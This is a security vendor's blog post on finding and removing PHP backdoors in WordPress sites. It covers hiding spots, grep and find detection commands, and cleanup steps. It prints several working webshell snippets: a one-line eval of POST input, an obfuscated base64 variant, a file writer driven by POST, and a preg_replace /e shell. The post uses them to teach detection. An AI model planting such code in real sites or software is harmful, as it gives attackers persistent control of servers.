Back to blog
Malware Removal5 min read

How to Find and Remove PHP Backdoors in WordPress

June 25, 2024·WO Security Shield Team
backdoorphpmalware removalwebshell
How to Find and Remove PHP Backdoors in WordPress

Changing your WordPress password after a hack is not enough. Attackers almost always leave a backdoor — a small PHP script that gives them persistent access to your server regardless of WordPress credentials. Until you find and remove it, they can re-infect your site any time they want.

What a PHP backdoor looks like

The simplest backdoor is a single line:

<?php eval($_POST['cmd']); ?>

Anything posted to the cmd parameter gets executed as PHP on your server. More sophisticated versions are heavily obfuscated using techniques we cover in depth in how malware hides inside WordPress plugins:

<?php
$k='base64'.'_decode';
$p=$k('ZXZhbA==').'(';
eval($p.$k($_POST['x']).')');
?>

That's the same backdoor, just harder for simple pattern matchers to detect. Both are found by WO Security Shield's behavioral scoring engine.

Common hiding spots

Attackers are creative about where they hide backdoors:

1. Fake image files in /uploads/

/wp-content/uploads/2024/01/image.php.jpg

The file extension is .jpg but the content is PHP. If Apache's AddType directive is configured to execute PHP in uploads, this runs as code.

2. Deeply nested plugin directories

/wp-content/plugins/woocommerce/includes/class-wc-payment-gateway-cache.php

Named to blend in with legitimate WooCommerce files.

3. WordPress root with innocent-looking names

/xmlrpc-proxy.php
/wp-cron-runner.php
/db-maintenance.php

4. Modified core files The attacker modifies wp-includes/functions.php or wp-includes/post.php to include a few lines of backdoor code inside thousands of lines of legitimate code. File integrity monitoring is the most reliable way to catch these modifications.

How to find them

Method 1: Run WO Security Shield

Install WO Security Shield and run a full scan. It will:

  • Scan every PHP file against 70+ malware signatures
  • Check all core files against official WordPress checksums
  • Flag unknown PHP files in the uploads directory
  • Detect files with known webshell filenames

Method 2: Command line search (if you have SSH)

# Find PHP files in uploads (should be zero)
find wp-content/uploads -name "*.php" -type f

# Find recently modified PHP files
find . -name "*.php" -newer wp-config.php -type f

# Search for eval + base64 patterns
grep -r "eval.*base64_decode" . --include="*.php"
grep -r "eval.*gzinflate" . --include="*.php"

Method 3: WordPress core integrity check

wp core verify-checksums

This WP-CLI command compares your core files against the official WordPress checksums. Any discrepancy means a core file was modified.

Removal process

  1. Don't just delete — understand what the backdoor did first. Check server access logs for the backdoor's URL to see how it was used.

  2. Delete the file — if it's a standalone backdoor file, delete it.

  3. Restore modified core files — use WO Security Shield's "Restore Official Copy" action, which fetches the original from WordPress.org.

  4. Check for other backdoors — attackers rarely plant just one. Run a full scan again after cleaning.

  5. Find the entry point — how did they get in? Check for outdated plugins, weak passwords, or compromised hosting credentials.

  6. Change all credentials — WordPress admin passwords, database passwords, FTP/SFTP passwords, hosting panel passwords.

For a complete walkthrough of the entire recovery process, see our step-by-step guide to cleaning a hacked WordPress site. Visit wosecurity.com to start a free security scan.

Common PHP Backdoor Patterns to Search For

Knowing what backdoors look like helps you find them manually when scanners miss them. Here are the most common patterns found in real-world WordPress compromises:

The Classic eval/base64 Backdoor

// Often hidden at the top of a legitimate plugin file
@eval(base64_decode('aWYoaXNzZXQoJF9...'));

This decodes a string and executes it as PHP. Any file containing eval(base64_decode( is almost certainly malicious — legitimate plugins virtually never use this pattern.

The File Writer

// Creates new backdoor files on the server
if(isset($_POST['c'])) {
  file_put_contents($_POST['f'], base64_decode($_POST['c']));
}

This lets an attacker create new files on your server by sending a POST request. It's self-replicating — even if you delete the original, it may have already created copies.

The Preg_Replace Backdoor (PHP < 7.0)

preg_replace('/.*/e', $_POST['code'], '');

The /e modifier executes the replacement as PHP code. This was deprecated in PHP 5.5 and removed in PHP 7.0, but some hosts still run older versions.

Where to Look First

Attackers hide backdoors in predictable locations:

Location Why attackers choose it
/wp-content/uploads/ Often writable, rarely inspected manually
/wp-includes/ Developers rarely check core files
Theme functions.php Large file, easy to hide code in
/wp-content/mu-plugins/ Must-use plugins load automatically, no activation needed
Files named wp-tmp.php, class-wp.php Look legitimate at a glance
.htaccess Can redirect traffic or execute PHP in unexpected directories

Automated Search Commands

Run these from your WordPress root via SSH:

# Find files modified in the last 7 days
find . -name "*.php" -mtime -7 -ls

# Search for common backdoor functions
grep -rl "eval(base64_decode" wp-content/
grep -rl "file_put_contents.*\$_POST" wp-content/
grep -rl "assert.*\$_" wp-content/
grep -rl "preg_replace.*\/e" wp-content/

# Find PHP files in the uploads directory (should be zero)
find wp-content/uploads/ -name "*.php" -ls

Any PHP file in wp-content/uploads/ is suspicious. This directory should only contain media files (images, PDFs, videos). A PHP file here almost always indicates a backdoor.

After Removal: Preventing Re-infection

Removing the backdoor is only half the job. If you don't close the entry point, attackers will simply re-plant it:

  1. Update all plugins and themes — the vulnerability they exploited may already be patched
  2. Remove unused plugins entirely — deactivated plugins are still exploitable
  3. Reset all passwords — WordPress admin, database, FTP/SFTP, and hosting panel
  4. Check user accounts — look for admin accounts you didn't create
  5. Enable file integrity monitoringWO Security Shield detects new PHP files within minutes of creation
  6. Restrict file permissions — directories should be 755, files should be 644, and wp-config.php should be 440

WO Security Shield

Is your WordPress site protected?

Run a free malware scan in under 2 minutes. No credit card required.